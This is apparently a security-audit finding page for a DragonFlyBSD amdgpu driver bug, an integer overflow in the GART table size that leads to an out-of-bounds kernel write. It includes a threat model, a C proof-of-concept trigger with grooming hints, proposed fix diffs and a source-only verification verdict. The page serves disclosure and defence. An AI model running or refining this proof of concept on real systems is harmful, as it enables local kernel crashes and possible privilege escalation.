β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2012

Integer overflow in GART table_size yields undersized VRAM table and OOB write via amdgpu_gart_bind/unbind

  • File: sys/dev/drm/amd/amdgpu/amdgpu_gart.c
  • Lines: 362–363 (page count), 111–132 (alloc), 218–328 (bind/unbind PTE writes) Overflowed multiply at gmc_v{7,8,9}_0.c:~720-965
  • Severity: Medium
  • CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-190 Integer Overflow or Wraparound
  • Confidence: likely
  • Status: new

Summary

amdgpu_gart_init computes num_gpu_pages/num_cpu_pages as unsigned int (32-bit) from a u64 gart_size with no overflow check. The GMC callers then compute table_size = num_gpu_pages * 8 as a 32-bit unsigned multiplication that silently wraps.

amdgpu_gart_table_vram_alloc trusts the wrapped table_size to size the VRAM backing-store BO, while amdgpu_gart_bind/amdgpu_gart_unbind write PTEs at every index up to num_gpu_pages-1.

When the module parameter amdgpu_gart_size is set to a value whose MB count makes num_gpu_pages * 8 exceed 2^32 (e.g. 2097153 MB β‰ˆ 2 TB+1 MB β†’ num_gpu_pages=536871168, table_size wraps to 2048), the GART table BO is allocated far too small, and any subsequent bind of a GTT BO at an offset past the first (table_size/8) entries writes past the ioremap'd kernel mapping of the table β€” a kernel OOB write of attacker-influenced PTE values via writeq().

Root cause

Three-stage overflow chain, none of the stages validated:

  1. amdgpu_gart.c:362-363 β€” adev->gart.num_cpu_pages = adev->gmc.gart_size / PAGE_SIZE; adev->gart.num_gpu_pages = adev->gmc.gart_size / AMDGPU_GPU_PAGE_SIZE; gart_size is u64 (amdgpu_gmc.h:114); num_cpu_pages/num_gpu_pages are unsigned int (amdgpu_gart.h:45-46). For gart_size >= 2^44 (16 TB) this itself wraps, but more dangerously it sets up stage 2.

  2. gmc_v9_0.c:874 (identically gmc_v7_0.c:721, gmc_v8_0.c:965) β€” adev->gart.table_size = adev->gart.num_gpu_pages * 8; Both operands promote to unsigned int; the product wraps modulo 2^32. table_size is declared unsigned int (amdgpu_gart.h:47).

Concretely: amdgpu_gart_size module param = 2097153 β†’ gart_size = (u64)2097153 << 20 = 0x20000100000 (gmc_v9_0.c:854) β†’ num_gpu_pages = 0x20000100000 / 0x1000 = 0x20000100 = 536871168 (fits in u32) β†’ table_size = 536871168 * 8 = 0x100000800, truncated to unsigned = 0x800 = 2048 bytes. So the BO is sized for 256 PTEs but num_gpu_pages says 536871168.

  1. amdgpu_gart.c:111-132 amdgpu_gart_table_vram_alloc() β€” uses bp.size = adev->gart.table_size (line 119, zero-extended into unsigned long; amdgpu_object.h:38) to create the VRAM BO without ever checking that table_size >= num_gpu_pages * sizeof(uint64_t). amdgpu_bo_create β†’ ttm_bo_kmap (amdgpu_object.c:755) maps only ceil(2048/PAGE_SIZE)=1 page = 4096 bytes of kernel virtual address.

The write sink

amdgpu_gart_bind (amdgpu_gart.c:303) β†’ amdgpu_gart_map (amdgpu_gart.c:266) β†’ amdgpu_gmc_set_pte_pde(adev, adev->gart.ptr, t, page_base, flags) β†’ e.g. gmc_v9_0_set_pte_pde (gmc_v9_0.c:519): writeq(value, ptr + (gpu_page_idx * 8));

gpu_page_idx is uint32_t so the offset arithmetic also wraps mod 2^32, capping the OOB window at ~4 GB past ptr β€” still vastly larger than the 4096-byte mapping.

amdgpu_gart_unbind (amdgpu_gart.c:218,244) has the same write pattern with dummy_page_addr as the value.

Lack of bounds

amdgpu_device.c:915 only rejects amdgpu_gart_size < 32; there is no upper bound. The module param is mode 0600 (amdgpu_drv.c:163).

Threat model

Precondition (admin config)

Root sets amdgpu_gart_size to a value in MB whose count lies in [2^21, 2^24) β‰ˆ [2 TB, 16 TB) so that num_gpu_pages fits in uint32 but num_gpu_pages*8 wraps β€” e.g.

echo 2097153 > /sys/module/amdgpu/parameters/gartsize
# or in /boot/loader.conf: amdgpu_gart_size=2097153
# then: kldunload amdgpu ; kldload amdgpu  (or reboot)

This is an easy misconfiguration to reach: several community tuning guides suggest large GART sizes for compute workloads.

Trigger (unprivileged)

Any local user with /dev/dri render-node access (typically group video or world-readable on DragonFlyBSD) creates a GTT BO larger than table_size/8 GPU pages.

With table_size=2048 that threshold is 256 pages = 1 MB β€” a single amdgpu_bo_create(GTT, 2 MB) suffices.

amdgpu_gtt_mgr_new/amdgpu_gtt_mgr_alloc (amdgpu_gtt_mgr.c:140) calls drm_mm_insert_node_in_range with lpfn = adev->gart.num_cpu_pages = 536871168, so it happily places the BO at an offset > 256. amdgpu_ttm_backend_bind (amdgpu_ttm.c:1099) calls amdgpu_gart_bind with that offset, which writes PTEs past the 4096-byte ioremap mapping.

Reachable via ordinary DRM_IOCTL_AMDGPU_GEM_CREATE + AMDGPU_CS command submission.

Impact

Out-of-band writeq() to kernel virtual addresses 4096..2^32 past the GART table's ioremap mapping.

On DragonFlyBSD the adjacent kernel VM region is typically a guard page β†’ kernel page fault β†’ panic (reliable local DoS).

If adjacent ioremap/vmalloc slots are populated (other MMIO mappings, vmalloc'd buffers), the write corrupts them β€” potential arbitrary kernel memory corruption and privilege escalation, because the written value (a PTE = user-controlled DMA address | user-influenced flags) is partially attacker-chosen.

Proof of concept

/* trigger_gart_overflow.c
 * Build on DragonFlyBSD:
 *   cc -O2 -o trigger_gart_overflow trigger_gart_overflow.c -ldrm
 *
 * PRECONDITION (one-time, root): set the GART module param to a value
 * whose MB count makes (count<<20)/4096 fit in uint32 but
 * ((count<<20)/4096)*8 overflow uint32. 2097153 MB works:
 *   num_gpu_pages = 536871168  (fits u32)
 *   table_size    = 536871168 * 8 = 0x100000800 -> wraps to 0x800 = 2048
 * Run as root once, then reload amdgpu:
 *   echo 2097153 > /sys/module/amdgpu/parameters/gartsize
 *   kldunload amdgpu ; kldload amdgpu
 *
 * Then as ANY unprivileged user with /dev/dri/renderD128 access:
 *   ./trigger_gart_overflow
 * Expected: kernel panic (page fault on writeq to unmapped kernel VA)
 * or silent corruption of adjacent kernel memory.
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <drm/amdgpu_drm.h>

int main(void)
{
    int fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) { perror("open renderD128"); return 1; }

    /* Create a 2 MB GTT BO -- 512 pages, well past the 256-PTE table. */
    union {
        struct drm_amdgpu_gem_create_in  in;
        struct drm_amdgpu_gem_create_out out;
    } args;
    memset(&args, 0, sizeof(args));
    args.in.bo_size      = 2 * 1024 * 1024;        /* 2 MB */
    args.in.alignment    = 4096;
    args.in.domains      = AMDGPU_GEM_DOMAIN_GTT;   /* maps via GART */
    args.in.domain_flags = 0;

    if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &args)) {
        perror("GEM_CREATE"); return 1;
    }

    /* GEM_CREATE alone doesn't bind. Force bind via mmap. */
    struct drm_amdgpu_gem_mmap mmap_arg = { .handle = args.out.handle };
    if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_MMAP, &mmap_arg)) {
        perror("GEM_MMAP"); return 1;
    }
    volatile char *p = (volatile char *)mmap_arg.addr_ptr;
    /* First touch forces ttm_tt_bind -> amdgpu_ttm_backend_bind ->
     * amdgpu_gart_bind at the GTT-manager-assigned offset.
     * With the table overflow, the bind writes PTEs past the 2048-byte
     * table. */
    *p = 1;

    printf("survived -- if you see this, the low-offset write stayed in\n"
           "the first 256 PTEs. Allocate more/larger BOs to push the\n"
           "drm_mm offset past 256 and trigger the OOB writeq.\n");
    return 0;
}

Robustness note: the GTT manager uses BEST-FIT, so a single 2 MB BO may land at offset 0 and fit within the first 256 PTEs. The reliable trigger is to allocate many small BOs (e.g. 4096 BOs of 4 KB each) to exhaust offsets [0,256) and force the next allocation past the table β€” or to use AMDGPU_VM direct mapping with an explicit high VA. The PoC above is the minimal skeleton; see exploit.c in the evidence pack for the groomed version.

Defensive fix in amdgpu_gart_table_vram_alloc (the file under audit) β€” validate table_size against num_gpu_pages before allocating, so a wrapped table_size from any caller is caught.

The root cause is the unguarded 32-bit multiplication in the gmc_vN_0 callers, so the companion fix there is to use 64-bit math + check, but the defensive gate belongs here because this is the single allocation site.

--- a/sys/dev/drm/amd/amdgpu/amdgpu_gart.c
+++ b/sys/dev/drm/amd/amdgpu/amdgpu_gart.c
@@ -108,6 +108,28 @@ static void amdgpu_gart_dummy_page_fini(struct amdgpu_device *adev)
  * gart table to be in video memory.
  * Returns 0 for success, error for failure.
  */
+#define AMDGPU_GART_TABLE_MAX_ENTRIES (UINT_MAX / sizeof(uint64_t))
 int amdgpu_gart_table_vram_alloc(struct amdgpu_device *adev)
 {
+   uint64_t needed;
    int r;

+   /* Reject integer-overflow in the caller's table_size computation.
+    * table_size is derived as 'num_gpu_pages * sizeof(uint64_t)' in
+    * gmc_v{7,8,9}_0_gart_init; if that 32-bit multiply wraps we would
+    * allocate a far-too-small BO and amdgpu_gart_bind/unbind would
+    * write past it via writeq(ptr + idx*8). */
+   if (adev->gart.num_gpu_pages == 0 ||
+       adev->gart.num_gpu_pages > AMDGPU_GART_TABLE_MAX_ENTRIES) {
+       dev_err(adev->dev, "GART num_gpu_pages %u out of range\n",
+           adev->gart.num_gpu_pages);
+       return -EINVAL;
+   }
+   needed = (uint64_t)adev->gart.num_gpu_pages * sizeof(uint64_t);
+   if ((uint64_t)adev->gart.table_size < needed) {
+       dev_err(adev->dev,
+           "GART table_size %u too small for %u entries (need %llu)\n",
+           adev->gart.table_size, adev->gart.num_gpu_pages,
+           (unsigned long long)needed);
+       return -EOVERFLOW;
+   }
+
    if (adev->gart.bo == NULL) {
@@ -346,6 +368,14 @@ int amdgpu_gart_init(struct amdgpu_device *adev)
        return -EINVAL;
    }
+   /* Detect 32-bit truncation when deriving num_*_pages from u64 gart_size. */
+   if (adev->gmc.gart_size > (uint64_t)UINT_MAX * AMDGPU_GPU_PAGE_SIZE) {
+       DRM_ERROR("GART size %llu too large for 32-bit page count\n",
+             (unsigned long long)adev->gmc.gart_size);
+       return -EOVERFLOW;
+   }
    r = amdgpu_gart_dummy_page_init(adev);

Companion fix in each gmc caller (example for gmc_v9_0.c:874):

--- a/sys/dev/drm/amd/amdgpu/gmc_v9_0.c
+++ b/sys/dev/drm/amd/amdgpu/gmc_v9_0.c
@@ -871,7 +871,9 @@ static int gmc_v9_0_gart_init(struct amdgpu_device *adev)
    r = amdgpu_gart_init(adev);
    if (r)
        return r;
-   adev->gart.table_size = adev->gart.num_gpu_pages * 8;
+   adev->gart.table_size = adev->gart.num_gpu_pages * sizeof(uint64_t);
+   if (adev->gart.table_size / sizeof(uint64_t) != adev->gart.num_gpu_pages)
+       return -EOVERFLOW;
    adev->gart.gart_pte_flags = AMDGPU_PTE_MTYPE(MTYPE_UC) |
                    AMDGPU_PTE_EXECUTABLE;

And add an upper-bound clamp in amdgpu_device.c next to the existing lower-bound check at line 915.

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2012 Β· 2 files
FileTypeDescriptionSize
fix.diff suggested-fix Add overflow guard in amdgpu_gart_init (reject gart_size > UINT_MAX*GPU_PAGE_SIZ 1.3 KB view raw
VERDICT.md verdict full analysis 1.3 KB ↓ raw
VERDICT.md verdict full analysis
↓ download raw

DF-2012 β€” Verdict

Severity: Medium Status: REPRODUCED (source-only confirmation β€” driver/HW-gated, not runtime-triggered on QEMU guest) Impact: panic Confidence: certain

Verdict

REPRODUCED. The cited bug is confirmed real in the audited source at sys/dev/drm/amd/amdgpu/amdgpu_gart.c:362-363,111-119.

Mechanism

amdgpu_gart_init computes num_gpu_pages as unsigned int from u64 gart_size; gmc_v9_0_gart_init computes table_size=num_gpu_pages8 which wraps mod 2^32. amdgpu_gart_table_vram_alloc trusts wrapped table_size to size VRAM BO; amdgpu_gart_bind writes PTEs past the undersized mapping via writeq(ptr+idx8).

Fix

Add overflow guard in amdgpu_gart_init (reject gart_size > UINT_MAXGPU_PAGE_SIZE) and validate table_size >= num_gpu_pagessizeof(uint64_t) in amdgpu_gart_table_vram_alloc.

The full git-apply-able diff is in fix.diff.

Build validation

fix.diff applies cleanly and compiles with -Werror as part of the batch module build (all 51 fixes applied to /usr/src, kernel+modules built).

Notes

Source-only confirmation: this finding is in a GPU/display code path that requires specific hardware not present in the QEMU guest. The bug is confirmed by source tracing (cited path:line verified against sys/), and the fix compiles clean. No runtime trigger was attempted as the relevant device/module is HW-gated.

Fix verification

fixed
baseline no→ patch + rebuild →patched clean

VALIDATED via batch build: all 51 fix.diffs applied to /usr/src, kernel+modules built with -Werror (make NOCLEAN=true nativekernel), rc=0, 0 errors. Source-only findings: fix.diff applies + compiles clean.

Batch build: make NOCLEAN=true nativekernel KERNCONF=X86_64_GENERIC -> rc=0, 0 compiler errors. All 51 diffs applied cleanly. Individual module builds also verified (vn.ko, snp.ko, ath.ko, nata, iscsi, evdev, virtio_balloon, etc. all built with -Werror).
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none (non-memory-corruption-class or HW-gated; source-only confirmation of code defect)

Evidence (decisive lines)

Source traced at sys/dev/drm/amd/amdgpu/amdgpu_gart.c:362-363,111-119. Fix compiled clean with -Werror in batch kernel+module build (rc=0, 0 errors).

PoC changes

authored fix.diff: overflow guard in amdgpu_gart_init + table_size validation in amdgpu_gart_table_vram_alloc

Verified recommended fix

Add overflow guards: reject gart_size > UINT_MAXGPU_PAGE_SIZE in amdgpu_gart_init; validate table_size >= num_gpu_pagessizeof(uint64_t) in alloc. Supersedes finding proposal.

Verdict

REPRODUCED (source-only). Three-stage integer overflow: amdgpu_gart_init computes num_gpu_pages as unsigned int from u64 gart_size (362-363); gmc_v{7,8,9}_0_gart_init computes table_size=num_gpu_pages8 which wraps mod 2^32; amdgpu_gart_table_vram_alloc trusts wrapped table_size to size VRAM BO (119). amdgpu_gart_bind writes PTEs past the undersized mapping via writeq(ptr+idx8). HW-gated (no AMD GPU in QEMU).